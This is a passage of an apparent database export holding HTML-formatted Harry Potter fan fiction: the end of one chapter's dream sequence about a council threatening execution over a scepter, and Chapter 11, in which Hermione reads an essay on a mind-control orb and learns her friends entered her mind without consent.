style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;It means very little if she can easily\nmake another.&nbsp; If she does not give up the\nscepter then we&#8217;ll know her true intentions. That she wants to rule us, beat us\ndown into submission.&nbsp; If she does not\ngive up the scepter then we will have to enforce the strictest punishment\npossible.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;You mean&#8212;&#8221;Orvin was interrupted.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Yes execution.&#8221; Salazar said almost\nwith delight. </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Torrin stood, &#8220;No!&#8221; He knew Jasmine\nwould never give up the scepter.&nbsp; He felt\na tugging on his sleeve.&nbsp; He looked down\nfinding Kai looking up at him in warning, &#8220;no Kai let go, she&#8217;ll never give up\nthat scepter and you know it.&#8221;&nbsp; Torrin\nlooked up at Orvin and Salazar, &#8220;why is she such a threat to you? Jasmine would\nnever use that scepter to control us.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;A young man&#8217;s foolish heart speaks.&#8221;\nSalazar spat out. &#8220;We can not go on the words of this boy, he&#8217;s smitten with the\nyoung lady of course he would defend her.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;That&#8217;s beside the point.&#8221; Torrin said,\nhe glared at Salazar knowing exactly what that man wanted. &#8220;You want the\nscepter for yourself, if you don&#8217;t have Jasmine on your side of darkness, then\nyou want her out of the way so she can not stop you.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;You dare slander me boy,&#8221; Salazar took\noffense and started approaching but Orvin pulled on his arm.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Orvin looked at Torrin and then at his\nfather, and firmly said &#8220;Godric control your son.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:normal">Godric</i><i style="mso-bidi-font-style:normal"> stood, &#8220;why\nshould he not speak Orvin?&nbsp; You gave him\na seat on the council why don&#8217;t you listen. What if there&#8217;s truth to his\nwords?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Torrin saw Salazar glaring at Godric, and heard him speak. &#8220;I am not in league with the\ndark arts Godric, your son slandered me and my family\nname in front of witnesses, I want an official apology.&#8221; He looked right at\nTorrin &#8220;in blood.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;You will get no apology from me.&#8221;\nTorrin said firmly.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Salazar turned to the council, &#8220;we will\nhear from Jasmine Ravenclaw in a fortnight to see if she gives up the scepter\nor faces execution, what say you?&#8221;&nbsp; A\ncreepy smile crossed Salazar&#8217;s face as the council agreed to the terms.&nbsp; He watched as the meeting was let out, he\nwalked right over to Torrin.&nbsp; &#8220;You have\nmade an enemy here tonight son of Gryffindor.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Torrin turned &#8220;you would do anything to\nhave control, even murder the innocent.&#8221; He was bitter. Torrin saw the smirk on\nSalazar&#8217;s face spread.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Watch your back boy.&#8221; He threatened\nthen walked away.&nbsp;&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Kai and his mother watched as Salazar left\nTorrin standing alone.&nbsp; The two of them\nmoved over to where Torrin was.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;&#8220;Helga.&#8221; Torrin gave a nod of respect in her\ndirection then turned to his friend, &#8220;what am I going to tell Jasmine? I wish\nher mother was here to help us, why did she have to leave for Ireland already?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;If you ask me, &#8220;Kai said. &#8220;It seems\nthat ole Salazar was just waiting for Rowena to leave before he brought this\nup.&#8221; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I will owl Rowena, you two help Jasmine\nas best you can. Tell her what&#8217;s going on.&nbsp;\nIt&#8217;s better if she learns it from you two then Orvin.&#8221; Helga replied. As\nthe two boys raced out the of the meeting&#8212;</i>&nbsp; Harry woke sitting&nbsp; up straight, he heard rustling next to him\nand heard Ron sitting up too.&nbsp; He grabbed\nfor his wand, &#8220;lumos.&#8221; He whispered and the end of\nhis wand lit up.&nbsp; He leaned over and\ngrabbed his glasses from the nightstand, putting them on.&nbsp; He lifted his wrist looking down at his watch\nit was a little after two.&nbsp; Oh well.&nbsp; He looked over at Ron who was yawning. Ron\nslumped back down against his pillow he was out like a light.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nturned over his eye lids getting heavier as he fell back into a peaceful sleep.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">=======</p>\n\n<p class="MsoNormal">Hmmm? What do you think the\ndreams mean, well stay tuned for Chapter 11--The Secret Is Out. Please Read and\nReview thanks, Ryoko</p>\n\n\n\n\n\n\n'),
	(41, 11, ' <p>Disclaimer: Alright all the Harry Potter characters belong to J.K. Rowlings, except for the plot, Zara, Jewel, Enrique, Jasmine, Ulrich, Torrin, Alina,, Leelee, Kai, Finley and Orvin.&nbsp; Those are mine. So please don&#8217;t sue me because I don&#8217;t have anything</p>\n\n<p>Chapter 11&#8212;The Secret Is Out.</p>\n\n<p><i>He knocked on the door, waiting for someone to answer it.&nbsp; The door opened and there she stood, her beautiful ruby red hair glistening in the light of the moon.&nbsp; He saw her smile but it soon faded. </i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Ulrich what are you doing here?&#8221; She glanced down at her toes.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;I couldn&#8217;t stay away Alina, I had to see you.&#8221; Ulrich tried to smile. &#8220;May I come in?&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>Alina nodded and opened the door wider for him to enter her small house. She closed the door after him.&nbsp; </i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;I don&#8217;t care what my father says, I love you and he will not keep me from you.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>Her arms crossed hugging herself, &#8220;Ulrich you should just make it easy on yourself, you should choose Jasmine, it&#8217;s what your father wants for you. That&#8217;s what he told me.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;I don&#8217;t want Jasmine, she doesn&#8217;t want me.&nbsp; My father knows that, but he is determined to make sure that she is married into our family, he desires her himself.&#8221; Ulrich shivered, poor Jasmine he thought to himself.&nbsp; </i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;That&#8217;s horrible, but you would defy your father just to be with me? He is evil Ulrich, he scares me so much.&nbsp; I don&#8217;t ever want to anger him who knows what he would do. I heard what he said and did at the council meeting, Kai told me all about it.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;I have a feeling Jasmine will be alright, she doesn&#8217;t fear my father.&nbsp; She&#8217;s probably only one of the few who doesn&#8217;t.&#8221; </i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;I wish I were more like her, she has so much courage always standing up for what she thinks is right.&nbsp; I can&#8217;t see why you don&#8217;t fancy her.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;I don&#8217;t fancy her at all.&nbsp; I mean It&#8217;s not that I don&#8217;t care about Jasmine Alina, I do you know that.&nbsp; I have found a certain respect for her. Whatever she decides to do I will be at her side, just like you, Kai, and Torrin would.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Torrin suspects you have feelings for Jasmine.&#8221; She met his gaze directly. </i></p>\n\n<p><i></i></p>\n\n<p><i>Ulrich scoffed, &#8220;well Torrin is a jealous fool when others are merely friends with his Jasmine.&#8221;&nbsp;&nbsp; </i></p>\n\n<p><i></i></p>\n\n<p><i>Alina laughed a little knowing how true that was, &#8220;yes I know.&#8221; She turned from Ulrich.&nbsp; </i></p>\n\n<p><i></i></p>\n\n<p><i>Ulrich went to her, lightly holding her upper arms he turned her gently to face him. &#8220;Alina don&#8217;t fear my father, I will protect you and keep you safe.&nbsp; You trust me don&#8217;t you?&#8221; He saw her nod.&nbsp; Ulrich wrapped his arms carefully around her, pulling her to him.&#8212;</i> Draco turned over opening his eyes, he sat up running his hand through his light hair. <i>&nbsp;&nbsp;</i></p>\n\n<p>&nbsp;Draco was pleased in convincing Ginny to keep their relationship a secret and it was really working out great.&nbsp; After a refreshing shower he dressed and headed to breakfast.&nbsp; He walked through the great hall with the usual snobby look on his face heading towards his table.&nbsp; Once there he sat down turning slightly looking over at the Gryffindor table.&nbsp; He saw Ron talking with Zara, his brother Fred or was it George he could never tell the difference between the two. Well, one of them was trying to get Ron&#8217;s attention.</p>\n\n<p>He then looked at Harry who was talking with Hermione, she seemed really interested into what he was saying.&nbsp; Draco saw Harry&#8217;s hand on Hermione&#8217;s under the table. He scanned the table more and found Ginny, their gaze connected.&nbsp; He noticed she averted her eyes quickly.&nbsp; Draco then gave his attention to his breakfast.</p>\n\n<p>After Ginny finished her meal and she stood up from the table, she smiled down at her friends and walked out of the great hall.&nbsp; </p>\n\n<p>Draco then finished his breakfast not as quickly as he wanted to, he wanted to go be with Ginny but he had to wait awhile so that it didn&#8217;t look to fishy that he would be leaving the great hall following after her.&nbsp; When it didn&#8217;t look like anyone would notice, Draco took his leave of the Great Hall.&nbsp; As he walked towards the doors he could feel Ginny&#8217;s brother Ron&#8217;s eye upon him, glaring.&nbsp; </p>\n\n<p>Ron saw that no good Malfoy go through the doors and was glad when he was out of site.&nbsp; &#8220;One of these days, he&#8217;s gonna pay. And pay dearly.&#8221;</p>\n\n<p>&#8220;Ron what are you going on about?&#8221; Harry looked up from his plate at his friend.</p>\n\n<p>&#8220;If Malfoy even thinks about touching my sister, I will cut of his head and use it as a Quaffle in our next Quidditch practice.&#8221;</p>\n\n<p>Zara burst into heavy laughter, &#8220;I could just see you doing that too.&#8221; </p>\n\n<p>The whole table practically roared with laughter, after hearing what Ron had said.&nbsp; After the noise settled a bit Ron returned to his food.&nbsp; He felt Zara staring at him.&nbsp; Ron turned and stared directly at her. &#8220;Zara, do you want to say something?&#8221;</p>\n\n<p>&#8220;I was just wondering what you people are going to do for Christmas break, that&#8217;s all?&#8221; She looked between the three of them.</p>\n\n<p>Ron looked at his friends, &#8220;well I was probably just going to stay here this year, nothing to exciting happens at home for me.&#8221;&nbsp; He then looked at Harry and he knew he usually stayed, but now that he was living with Sirius he probably wanted to go home for the holidays.</p>\n\n<p>Harry thought a moment, &#8220;I&#8217;ll probably go home this year.&#8221;</p>\n\n<p>&#8220;Yeah me too&#8221; Hermione said, &#8220;I usually always go home. It&#8217;s a good time for me to get quality studying done.</p>\n\n<p>&#8220;Boy you people have dull lives during the holidays.&#8221; She half teased half insulted.&nbsp; Zara pointed a bit at Hermione, &#8220;all you do is study at school, and you&#8217;re going to go home and do more studying?&nbsp; I find that very unacceptable.&nbsp; Holidays are a time to let loose and have fun.&nbsp; So that&#8217;s why I&#8217;m asking you. Would you three like to come home with me during the Christmas break?&#8221;</p>\n\n<p>&#8220;With you? Where do you live?&#8221; Hermione asked.</p>\n\n<p>&#8220;I live in the most romantic city in the world, The City By The Bay.&nbsp; The wonderful, the only, San Francisco California.&nbsp; It&#8217;s the greatest place ever.&#8221; Zara beamed with pride when she talked about her home.</p>\n\n<p>Ron had never heard of such a place.&nbsp; He, Harry and Hermione huddled together to discuss it.&nbsp; &#8220;What do you two think, should we go?&#8221;</p>\n\n<p>Hermione nodded, &#8220;I have always wanted to go to San Francisco, my family and I have been to New York and that was pretty amazing.&#8221;&nbsp; She looked at Harry.</p>\n\n<p>&#8220;It could be fun, I have never really traveled anywhere before.&nbsp; The Dursleys would always leave me with that blasted Mrs. Figg and her many cats.&nbsp; What a nightmare.&#8221; Harry cringed at just the thought of that.</p>\n\n<p>&#8220;I suppose it would be better than going to my boring home for the holidays.&#8221; Ron said quietly.&nbsp; He lifted his head, &#8220;Okay Zara we will go home with you.&#8221;</p>\n\n<p>&#8220;Good because I already owled ma telling her to expect guests.&#8221; She smirked.</p>\n\n<p>&#8220;Boy you can be pretty forward, you didn&#8217;t even ask you just assumed?&#8221; Ron said.</p>\n\n<p>&#8220;Yep, I&#8217;m pretty good at assuming that you guys would want to come home with me.&nbsp; And I was right.&#8221;&nbsp; Zara gloated with a huge smile on her face.</p>\n\n<p>****</p>\n\n<p>Hermione and Harry were running down the corridor towards the Defense Against the Dark Arts class, they were late.&nbsp; Hermione had never been late for a class in her whole life, she felt a little inadequate.&nbsp; </p>\n\n<p>&#8220;Harry I think you&#8217;re a bad influence on me, I have never been late before.&#8221; She said with a smirk.</p>\n\n<p>&#8220;Nah I&#8217;m not a bad influence, it&#8217;ll do you some good to be late.&nbsp; It builds character.&#8221; </p>\n\n<p>Hermione rolled her eyes, &#8220;well just as long as I don&#8217;t have explain why we are late you said we had plenty of time and not to worry.&#8221;</p>\n\n<p>&nbsp; </p>\n\n<p>They reached the classroom door before Harry had a time to respond.</p>\n\n<p>&#8220;We will just have to continue this discussion later.&#8221; Hermione said opening the classroom door.</p>\n\n<p>&#8220;We&#8217;ll just forget about this conversation in an hour or so,&#8221; Harry replied knowing that most of their to be continued conversations never came up again.&nbsp; As soon as they stepped one foot in the class room all the students heads turned looking up at them followed by professor Arlene Wilkinson.&nbsp; </p>\n\n<p>&#8220;Well I&#8217;m glad to see you two have decided to make an appearance in class&#8221; Arlene crossed her arms in front of her chest, &#8220;would you like to share with us why you two are late?&#8221; She said.</p>\n\n<p>Harry hated Wilkinson, she reminded him so much of Snape.&nbsp; Probably a relation of his. </p>\n\n<p>Harry looked at Hermione and then at the professor, &#8220;we were studying and lost track of time.&#8221; He said hopefully with a convincing smile.</p>\n\n<p>Arlene looked between the two of them not convinced at all, &#8220;what were you studying, each other?&#8221; She said with a smirk seeing their faces increasing in color and hearing the gasps and laughter from the other students.&nbsp; &#8220;Go take your seats, I&#8217;ll let it slide this time, but don&#8217;t ever be late for my class again. Do you understand?&#8221;</p>\n\n<p>Harry went and sat down in his seat next to Ron while Hermione went to the other side of the classroom and sat in her seat next to Parvati.</p>\n\n<p>Ron leaned over to speak quietly to Harry, &#8220;So what were you two studying, certain intriguing body parts?&#8221; He smirked.</p>\n\n<p>He turned to his friend, &#8220;could have been, but I&#8217;m not going to say.&#8221; Harry then looked up at the front of the class watching the professor move back and forth talking about how to defend yourself against vampire&#8217;s mind control.</p>\n\n<p>&#8220;Why not?&#8221;</p>\n\n<p>&#8220;Some things are just better left unsaid.&#8221; He continued watching the professor.</p>\n\n<p>&#8220;Boy you two are sure being secretive all of a sudden.&#8221; Ron sounded hurt.</p>\n\n<p>Harry looked at Ron this time, &#8220;look some things should just be between Hermione and me, it&#8217;s not entirely a new concept to have a little privacy.&#8221;</p>\n\n<p>&#8220;You can have your privacy. But just tell me are you two, I mean have you two, you know?&#8221; He said.</p>\n\n<p>&#8220;If I tell you will you promise not to ask me ever again?&#8221;</p>\n\n<p>&#8220;Yes.&#8221; Ron said with a smile.</p>\n\n<p>&#8220;No we haven&#8217;t yet.&nbsp; There are you happy now?&#8221; Harry looked back up the front of the classroom.</p>\n\n<p>Ron nodded, but he didn&#8217;t look happy.&nbsp; He wanted to hear good stuff, so he was a bit disappointed.</p>\n\n<p>Arlene looked around the classroom, &#8220;alright students, time to read your essays on mind control.&nbsp; I will call you off one at a time. You will stand up and give essays.&#8221;&nbsp; Arlene looked around the classroom and called Parvati&#8217;s name first.&nbsp; &#8220;alright Miss Patil, you may go first.&#8221; She said with a smile.</p>\n\n<p>Parvati stood with regret, &#8220;I don&#8217;t have my essay done yet, could I pass and read my essay Friday. I just need another night or two to work on it.&#8221;</p>\n\n<p>Arlene nodded her head while Parvati sat down in her seat,&nbsp; Arlene looked to Hermione next, &#8220;alright Miss Granger please rise and give your essay.&#8221; She smiled</p>\n\n<p>Hermione nodded and stood she looked down at her paper, she cleared her throat to speak and looked up.&nbsp; &#8220;I wrote my essay on&#8212;&#8221; She took a deep breath, &#8220;the Orb or Ereena.&#8221;</p>\n\n<p>Arlene stood straight, &#8220;the Orb of Ereena?&#8221; she asked just to make sure.</p>\n\n<p>Hermione nodded continuing to read her paper, &#8220;The Orb of Ereena is one of the worst forms of mind control, it leads you to believe what you fear most will happen.&nbsp; It first grabs hold of your mind by making you watch it constantly, soon after awhile you start to doubt yourself and everyone around you, pushing you into a horrible depression. Eventually through time and time of watching and fearing yourself, the orb will cause you to take your own life, as it would have been the only option, the only way out.&nbsp; I should know, I&#8217;ve experienced it.&#8221;</p>\n\n<p>Arlene stood astounded, &#8220;how did you come to have the Orb of Ereena in your possession?&#8221;</p>\n\n<p>Hermione looked to the floor for a moment then back up at the professor, &#8220;I came by it on accident.&#8221; She lied.</p>\n\n<p>&#8220;Oh no you did not.&nbsp; Someone has to give it to you or it won&#8217;t work.&nbsp; Someone wanted to control you. Who was it, who gave it to you?&#8221;</p>\n\n<p>&#8220;Why should it matter who gave it to me? I don&#8217;t have it anymore.&#8221; Hermione said</p>\n\n<p>Arlene looked at Hermione and the rest of the class, &#8220;The Orb of Ereena is not to be taken lightly.&nbsp; It is serious, very serious.&nbsp; It is mainly used to break down your defenses to make you easy to control, when you doubt yourself completely the person or being that wants to control you takes the orb away, you become a slave. You no longer have your own mind.&#8221; She then looked at Hermione with a tender smile, &#8220;you are probably very fortunate, whoever gave this orb is evil.&nbsp; I don&#8217;t know why you are trying to protect someone who would wish you harm.&#8221;</p>\n\n<p>She looked at the rest of the class, &#8220;The Orb of Ellia is it&#8217;s exact opposite. It&#8217;s twin.&nbsp; I mean why not both orbs were made by twin sisters, an evil twin and the good twin.&nbsp; The Orb of Ellia counter acts what the Orb of Ereena did. It lifts your spirits, makes you feel complete and powerful.&nbsp; I&#8217;m sure if Miss Granger here waited any longer to return the orb to it&#8217;s owner, she would have had to find the Orb or Ellia to counter act the mind control. And you are lucky because as far as I know, that orb was destroyed along time ago.</p>\n\n<p>Hermione handed her paper to the professor without saying another word.</p>\n\n<p>Arlene looked directly into Hermione&#8217;s eyes, &#8220;who gave it to you?&#8221;</p>\n\n<p>&#8220;I don&#8217;t know, a stranger gave it to me.&#8221; She whispered.&nbsp; For the rest of the class Hermione did not say another word.</p>\n\n<p>As the class was letting out Arlene asked Hermione to stick around for a moment.&nbsp; </p>\n\n<p>Hermione nodded as her friends came up to her, she turned to both Ron and Harry, &#8220;I have to stay, but you two can go to dinner if you want.&nbsp; I&#8217;ll be there shortly.&#8221; She smiled</p>\n\n<p>&#8220;We can wait for you if you want?&#8221; Harry asked with a pleasant smile.</p>\n\n<p>&#8220;It might be awhile, she probably wants me to tell her who gave me the orb.&#8221;</p>\n\n<p>&#8220;Why don&#8217;t you then, Malfoy will probably be expelled.&#8221; Ron said with glee.</p>\n\n<p>&#8220;Yeah Hermione then all our problems would be over.&#8221; Harry replied.</p>\n\n<p>Hermione was about to speak when Arlene called for Hermione, &#8220;you two can go, I&#8217;ll meet up with you later&#8221; She started towards the professor, while Harry and Ron started towards the great hall for dinner.&nbsp; Half way down the stairs the spotted Malfoy talking with his goons.&nbsp; They both saw Malfoy looking up at the both of them when Crabbe and Goyle left him alone.</p>\n\n<p>Ron still wanted to rip his head off, &#8220;one of these days I&#8217;m gonna kill him.&#8221;</p>\n\n<p>Harry noticed that he was very serious.</p>\n\n<p>&#8220;You don&#8217;t have the guts to kill me Weasley.&#8221; Draco shouted up to them glaring.</p>\n\n<p>&#8220;Is that so, if you go near my sister you will see first hand that I do have the guts to kill you.&#8221;&nbsp; Ron heard Draco laughing at him, he and Harry walked down to stairs to face him.</p>\n\n<p>&#8220;What so funny?&#8221; Ron glared.</p>\n\n<p>&#8220;Your sister?&#8221; He laughed &#8220;what would I want with that disgusting little wench.&#8221; He really didn&#8217;t like saying that at all, it hurt for those words to come out.&nbsp; But he had to act like nothing was different. </p>\n\n<p>&#8220;Well it&#8217;s a good thing you feel that way Malfoy,&#8221; Ron said with a smirk.</p>\n\n<p>&#8220;So where&#8217;s Granger? I assumed she was always following you two around like a little lost puppy.&#8221; He asked with a smirk.</p>\n\n<p>Harry crossed his arms over his chest glaring at Draco, &#8220;she&#8217;s talking to Professor Wilkinson, probably about that orb you gave her.&#8221;</p>\n\n<p>&#8220;So you know about the orb do you?&#8221; Draco glared back, &#8220;tell me how did you find out,?&nbsp; She was suppose to keep it a secret or I would take my payment from her if she spilled the beans.&nbsp; And I know how much she hated that idea and she would never tell.&#8221;</p>\n\n<p>&#8220;It doesn&#8217;t matter how we found out. She ended up telling me about it anyway, after I already knew.&#8221; Harry said.</p>\n\n<p>Ron glared remembering the night they got the information from her head about the orb.&nbsp; </p>\n\n<p>Draco saw her coming from the top of the stairs and he decided to cause a little trouble.&nbsp; &#8220;You must have used some kind of spell on Granger to get her to tell you about the orb. What did you use?&#8221;</p>\n\n<p>&#8220;And why would we tell you what we used, so that you can go and use it on some other innocent student.&#8221; Ron said almost not able to control his temper.</p>\n\n<p>Draco could see that Hermione&#8217;s face was twisting with thought and anger as she was walking slowly towards them. She was definitely listening to what was being said.&nbsp; Draco looked at Harry again, &#8220;so you used a mind control spell or was it a potion on Granger?&#8221;</p>\n\n<p>&#8220;Stop asking about it, we&#8217;re not going to say.&#8221; Harry said &#8220;whatever we used it allowed is to get into her head and find out what you were up to.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Hermione was standing directly behind Harry and Ron, glaring and feeling so very betrayed that her friends went into her head without her consent.&nbsp; </p>\n\n<p>Harry and Ron didn&#8217;t even know that she was standing there.&nbsp; Draco pointed a bit alerting to Harry that someone was behind him.&nbsp; Draco leaned in closer, &#8220;I think she heard you&#8221; and with a smirk he turned and walked away.</p>\n\n<p>Both Harry and Ron turned to find the very angry gaze of their friend, both of them didn&#8217;t know what to say, they just stared at her.</p>\n\n<p>&#8220;Y&#8212;you went into my head?&#8221; She said with controlled anger which was not holding up very well. &#8220;How could you do that?&#8221; Her eyes were swelling with tears.&nbsp; &#8220;Both of you had no right.&nbsp; It&#8217;s my head, my thoughts.&#8221;</p>\n\n<p>Harry stepped towards her and she jumped back away, almost as if she were afraid of him.&nbsp; His heart dropped into his feet. All he could do was stare after he saw that.</p>\n\n<p>&#8220;You stay away from me,&#8221; she forced out, her voice strained.&nbsp; &#8220;You two are supposed to be my friends.&#8221; Hermione looked at Ron now.</p>\n\n<p>&#8220;Herm we are your friends,&#8221; Ron was very sincere.&nbsp; But he could see she didn&#8217;t believe anything that he said, probably would never believe anything that he ever said again.&nbsp; Ron took a small glance at Harry who was looking very distraught and then back at Hermione.</p>\n\n<p>&#8220;No you&#8217;re not,&#8221; Hermione was furious.&nbsp; &#8220;Friends would not have forced their way into your head, in a way you are no different than Malfoy and what he did to me.&nbsp; You two controlled my mind to get information out of me.&#8221; She wondered if she could ever trust them again.&nbsp; &#8220;You put me, your friend under a spell.&nbsp; Maybe if I go and tattle on Malfoy I should on both of you too.&#8221; She glared at both of them, her betrayed and angry tears spilling out onto her cheeks.&nbsp; Hermione didn&#8217;t want to hear what they said, whatever came out of their mouths would probably be lies.&nbsp; She started backing away from them and turned heading as fast as she could up towards the tower. </p>\n\n<p>Harry and Ron just stared up at the stairs that Hermione had gone up, Harry wanted to go up after her and explain, he stepped towards the stairs but Ron grabbed his arm.&nbsp; &#8220;we should let her alone, she&#8217;s really upset with us.&nbsp; We are lucky she didn&#8217;t hex us right here and now.&#8221;</p>\n\n<p>Not really wanting to listen to his friend, Harry decided it was the best thing to do. He and Ron turned and went into the Great Hall for dinner.&nbsp; </p>\n\n<p>Sitting down at their table Zara scooted over next to them, she noticed they were a person short.&nbsp; </p>\n\n<p>&#8220;Hey where&#8217;s Hermione?&#8221; She asked looking around the hall for her.&nbsp; She turned to the seat next to her and asked Ginny the same thing who didn&#8217;t know either, Ginny got up from the table and walked out of the Great Hall.</p>\n\n<p>Harry glancing down at his empty plate he didn&#8217;t feel much like eating anything, he knew what he had done was so terribly wrong, and he didn&#8217;t blame her if she never wanted to speak to him again.&nbsp; He didn&#8217;t even hear what Ron and Zara were talking about until he felt a tapping on his shoulder, he turned to see Zara looking concerned.</p>\n\n<p>&#8220;She found out did she?&#8221;&nbsp; </p>\n\n<p>All he could do was nod and he looked over at Ron. &#8220;I really should go and talk to her.&#8221;&nbsp; </p>\n\n<p>&#8220;Actually what you should do,&#8221; Zara said. &#8220;Is leave her alone for awhile, she probably needs time to think.&#8221;</p>\n\n<p>&#8220;That&#8217;s what Ron said, but I still feel&#8212;&#8221;</p>\n\n<p>Zara cut him off, &#8220;listen to me I know a lot about these things, I&#8217;m a girl after all.&nbsp; I know how she must be feeling, give her a little time.&#8221;&nbsp; Zara said with a delicate smile</p>\n\n<p>It was half past nine when Zara and Harry walked up the stairs to the girls dorm,&nbsp; &#8220;okay you wait here by the door and I&#8217;ll go in and talk to her first.&#8221; Zara opened the door and walked inside closing it behind her, she saw Hermione lying on her bed in a white shirt and cotton plaid shorts turned towards the window.&nbsp; Her hand lifted probably still wiping away tears Zara thought.&nbsp; </p>\n\n<p>&#8220;Hermione?&#8221; Zara asked softly, walking over to Hermione&#8217;s bed slowly.</p>\n\n<p>Hermione sat up still in the direction of the window, &#8220;what do you want?&#8221;</p>\n\n<p>&#8220;To talk to you about what happened.&#8221;</p>\n\n<p>&#8220;I don&#8217;t want to talk about it.&#8221; Hermione said.</p>\n\n<p>&#8220;Yes you do, I know you want too.&nbsp; You just don&#8217;t want to talk about it with your friends.&#8221;</p>\n\n<p>&#8220;Friends? Ha, what friends?&#8221; Hermione&#8217;s voice quivered through her tears.</p>\n\n<p>&#8220;Ron and Harry, your best friends.&#8221; Zara sat down next to Hermione.</p>\n\n<p>&#8220;They are not my friends,&#8221; Hermione sighed and glanced down into her lap. &#8220;They just proved it.&#8221;</p>\n\n<p>&#8220;Yes they are Hermione, or else they would not have done that.&#8221;</p>\n\n<p>Hermione&#8217;s head snapped up, she couldn&#8217;t help the glare in her eyes as she looked at Zara.&nbsp; &#8220;There is no excuse to go into someone&#8217;s head and take control of their mind and force them to give information.&nbsp; No matter what.&#8221;</p>\n\n<p>&#8220;That may be true and I did tell them it was a bad idea.&nbsp; But what option did you leave them?&nbsp; They were so concerned about you.&nbsp; It proves that they were willing to do anything to help you, even risk loosing your friendship.&#8221;&nbsp; Zara said &#8220;Doesn&#8217;t that count for something?&nbsp; They are really sorry Hermione.&nbsp; You have no idea how sorry.&#8221;</p>\n\n<p>Hermione looked at Zara and then back into her lap. &#8220;How am I ever supposed to trust them again?&nbsp; Either Ron or&#8212;&#8221; She took in a breath, &#8220;Harry.&#8221; She turned away from Zara, &#8220;how could he do that to me?&#8221; </p>\n\n<p>Zara searched her thoughts and took a breath &#8220;He was honestly trying to help you, there is a great difference between what he did and what Draco Malfoy did.&nbsp; What Harry did, it was out of love for you not trying to control you.&#8221;&nbsp; Zara knew she was getting through to her, &#8220;in just the short amount of time that I&#8217;ve known you and Harry, there is nothing that he wouldn&#8217;t do or sacrifice for you.&nbsp; 